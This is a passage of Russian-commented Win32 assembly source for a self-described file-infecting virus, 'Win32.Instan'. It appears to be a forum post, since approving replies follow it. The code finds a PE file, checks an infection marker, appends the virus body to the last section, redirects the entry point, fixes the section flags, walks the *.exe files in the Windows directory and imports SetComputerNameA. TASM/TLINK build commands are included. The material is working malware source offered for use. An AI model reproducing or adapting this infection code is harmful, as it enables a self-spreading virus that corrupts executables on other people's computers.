; лежит смещение на заголовок РЕ относительно начала файла, поэтому нам надо добавить
; это число к еах, чтоб получить адрес заголовка
cmp word ptr [eax], 'EP'
; сравниваем сигнатуру
jne UVF
; если нам подсунули липу, то завершаем работу с этим файлом (ebx=0)
cmp dword ptr [eax+44h], 'CPM ' ;это метка зараженности.
je UVF
; если заражен файл, то его не трогаем, зачем его дважды заражать
; (поэтому первое поколение тоже заражается, получается вирус на вирусе : )
mov ecx, dword ptr [eax+3ch]
; по смещению 3с заголовка лежит File Allignment будем его юзать для выравнивания
; всего, что можно выровнять.
mov [ebp+file_align], ecx ; чтоб его не потерять, фигачим его в переменную
inc ebx ; делаем ebx != 0
jmp UVF ; если ebx != 0 у нас закроется мэппинг, но файл не закроется и мы попадём на step1
step1:
mov eax, vir_size ; в еах длина вируса
call aligning ; выравниваем
al_done:
mov ecx, [ebp+FSizeL] ; в есх длину файла
add ecx, eax ; прибавляем выровненную длину выря
jmp crFM
; создаём мэппинг заново, только с новой длиной (длина у нас там передаётсячерез есх).
; после этого, так как ebx <> 0 попадаем на метку dali_bude, но у нас уже файл увеличилс
; на 800h байт (выровненная длина вируса)
dali_bude:
push eax
; так как мы перемэппили файл, в еах забился адрес начала файла. мы его в стек (ещё пригодится)
add eax,[eax+3ch] ; теперь найдем заголовок
push eax ; его адрес тоже в стек (удобная это штука)
movzx ecx, word ptr [eax+6]
; обнулим есх, занесём туда кол-во секций (адрес начала РЕ + 6)
jmp last_sec_find
; прыгаем на процедуру поиска последней секции
ls_found:
; сюда попадём после того, как найдена последняя (физически и виртуально) секция.
; регистры изменятся
; esi=edi=VA of last section
; edx - виртуальное смещение of last section
; ebx - физическое смещение of last section
; флаги всех секций установлены в 0а0000020
pop esi
mov eax, dword ptr [esi+28h] ; берём rva точки входа
add eax, dword ptr [esi+34h] ; добавляем базу, получаем va
mov dword ptr [ebp+EIPs],eax
; этот адрес кидаем в переменную, которая когда-то станет значением еах.
pop eax ; вспомним начало файла
push esi
push edi
; запомним адрес заголовка и адрес начала структуры описания последней секции
mov edi, [edi+10h]
; в edi - размер секции
lea edi, [ebx+edi]
; в edi - размер секции + физическое смещение последней секции = смещение
; последнего байта секции (относительно начала)
add edi, eax
;прибавляем адрес начала получаем VA
mov ecx, vir_size
;в есх - длину вируса
lea esi, [ebp+offset start]
; esi указывает на начало
rep movsb
; копирует один байт из памяти по адресу ds:esi в память по адресу es:edi есх раз
; то есть после этого вирус перекачует в память начиная с конца последней секции
; файла, который заражаем, куда указывает edi. вот и поселились, осталось обосноваться.
pop edi
pop esi
; вспомним адрес заголовка и адрес начала структуры описания последней секции
mov eax, dword ptr [edi+0ch]
; в еах - rva последней секции
add eax, dword ptr [edi+10h]
; + размер секции (до заражения) - получаем rva начала нашего кода
mov dword ptr [esi+28h], eax
; меняем entry point на тот, который указывает на наш код.
mov eax, vir_size
call aligning
; в еах выровненная длина виря
add dword ptr [edi+10h], eax
; её прибавляем к физическому размеру секции
add dword ptr [edi+8], eax
; также к виртуальному
mov eax, dword ptr [edi+0ch]
; в еах - rva последней секции
add eax, dword ptr [edi+8]
; добавляем к ней виртуальный размер, получая значение, которое можно записать ...
mov dword ptr [esi+50h], eax
; ... в поле Size Of Image заголовка
mov dword ptr [esi+44h], 'CPM '
; устанавливаем метку заражения
xor ebx,ebx
; закончили работу с файлом нужно закрыть и искать следующий, а для этого нужно ebx = 0
UVF:
push [ebp+pFM]
call [ebp+_UnmapViewOfFile]
; убираем файл из памяти
close_FM:
push [ebp+hFM]
call [ebp+_CloseHandle]
; закрываем мэппинг
test ebx,ebx
jnz step1
; тут прикол с ebx, о нём выше
close_file:
push [ebp+hFO]
call [ebp+_CloseHandle]
; закрываем файл
jmp infection_done
; переходим к след. файлу
; ======процедурка, которая делает фокус с ebx, что приводит к закрытию файла
zeroid:
xor ebx,ebx
jmp UVF
; ======
; ==========процедурка поиска последней (физически и виртуально) секции
; eax - pe header va
last_sec_find:
movzx edi, word ptr [eax+14h]
; в edi размер заголовка без учёта IMAGE_FILE_HEADER (18h)
lea eax,[eax+edi+18h]
; прибавляем 18h и адрес начала файла, получаем смещение начала таблицы секций
mov ebx, [eax+14h]
; в ebx - физическое смещение первой
mov edx, [eax+0ch]
; в edx - виртуальное смещение первой
scoffs:
mov [eax+24h], 0A0000020h
; фиксим флаги
cmp ebx, [eax+14h]
; сравниваем физическое смещение текущей секции с физическим следующей
ja shvrva
; если текущее больше идём сравнивать виртуальные
mov ebx, [eax+14h]
; если нет - запоминаем его
mov esi, eax
; в esi адрес структуры с большим физическим смещением
shvrva:
cmp edx, [eax+0ch]
; сравниваем вмртуальные
ja nextobj
; если текущее больше, переходим к следующей структуре
mov edx, [eax+0ch]
mov edi, eax
; если нет, действия, аналогичные тем, которые были с физическими
nextobj:
add eax, 28h
; структура имеет размер 28h, то есть, чтоб перейти к следующей,
; нам надо прибавить 28h к текущей
loop scoffs
; так будем перебирать все секции
cmp esi, edi
; посмотрим принадлежат ли самое большое физическое и виртуальное смещение одной секции
je ls_found
; если да, то прыгаем, откуда пришли
pop eax
pop eax
; если нет - восстановим стек
jmp zeroid
; и выйдим
; ====================
; ==============процедура выравнивания
aligning:
; eax - numb to align
mov ecx, [ebp+file_align]
dec ecx
add eax, ecx
not ecx
and eax, ecx
ret
; eax-aligned
; ===============
; ==================работает в первом поколении
first_gen:
xor ebx, ebx
push ebx
push offset szTitle
push offset szmess
push ebx
call MessageBoxA
push ebx
call ExitProcess
; ==================
; =============переход на следующую директорию
nextdir:
cmp byte ptr [ebp+numbofdirs], 0
; если нет больше директорий...
jz Exit
; ...на выход
call killfind
; а так - "убиваем" хендл поиска
lea edi, [ebp+offset szWindowsDirectory]
; идём на директорию винды
push edi
call [ebp+_SetCurrentDirectoryA]
; делаем её текущей для нашего процесса
dec byte ptr [ebp+numbofdirs]
; отнимаем 1 от кол-ва директорий
jmp FindFirsttttt
; ищем первый файл в текущей директории
; ====================
; ==========="убийство" хендла поиска
killfind:
push dword ptr [ebp+offset hFF]
call [ebp+_FindClose]
ret
; ============
FAttrNorm equ 80h ; новые аттрибуты файла
MAX_PATH equ 100h ; максимальное значение длины пути, которое мы допускаем
Some_pathes equ 50h ; длина пути к виндозной директории
vir_size equ (vir_end-start) ; длина вируса
PAGE_READWRITE equ 00000004h
SECTION_MAP_WRITE equ 2h
SECTION_MAP_READ equ 4h
SRW equ SECTION_MAP_WRITE or SECTION_MAP_READ
szTitle db '[Win32.Instan] by FreeMan', 0 ; заголовок окна сообщения
szmess db 'My first win32 virus. [Win32.Instan]', 0ah, 0dh; начало сообщения
db '© by FreeMan[CPM]', 0 ; конец сообщения
NewComp db 'WIN32.Instan', 0 ; новое имя компа
hFF dd 0
hFO dd 0
hFM dd 0
pFM dd 0
; переменные для хранения хендлов
file_align dd 0
; выравнивание файла будет тут : )
numbofdirs db 0
; кол-во директорий
GetWindowsDirectoryA_ db 'GetWindowsDirectoryA', 0
_GetWindowsDirectoryA dd 0
SetCurrentDirectoryA_ db 'SetCurrentDirectoryA', 0
_SetCurrentDirectoryA dd 0
CreateFileA_ db 'CreateFileA', 0
_CreateFileA dd 0
FindFirstFileA_ db 'FindFirstFileA', 0
_FindFirstFileA dd 0
FindNextFileA_ db 'FindNextFileA', 0
_FindNextFileA dd 0
CreateFileMappingA_ db 'CreateFileMappingA', 0
_CreateFileMappingA dd 0
MapViewOfFile_ db 'MapViewOfFile', 0
_MapViewOfFile dd 0
UnmapViewOfFile_ db 'UnmapViewOfFile', 0
_UnmapViewOfFile dd 0
SetFileAttributesA_ db 'SetFileAttributesA', 0
_SetFileAttributesA dd 0
CloseHandle_ db 'CloseHandle', 0
_CloseHandle dd 0
FindClose_ db 'FindClose', 0
_FindClose dd 0
SetComputerNameA_ db 'SetComputerNameA', 0
_SetComputerNameA dd 0
my_name_is dw 0B0BAH
; апи, адреса которых надо найти
WFD32:
FAttr dd 0
FCrTime dd 0, 0
FLAcsTime dd 0, 0
FLWTime dd 0, 0
FSizeH dd 0
FSizeL dd 0
FRes dd 0, 0
FName db MAX_PATH dup (0)
AFName db 13 dup (?)
; структура поиска
szWindowsDirectory db Some_pathes dup (0) ; буфер под путь к виндозной директории
FN4Search db '*.exe', 0 ; маска поиска
vir_end:
; метка конца виря
end start
; here is the end of code
Tasm32.exe /m3 /ml /zi instan.asm , ,;
Tlink32.exe /Tpe /aa /v instan, instan, ,import32.lib
pewrsec instan.exe
ЭТО КРУТО!
Спасибо большое.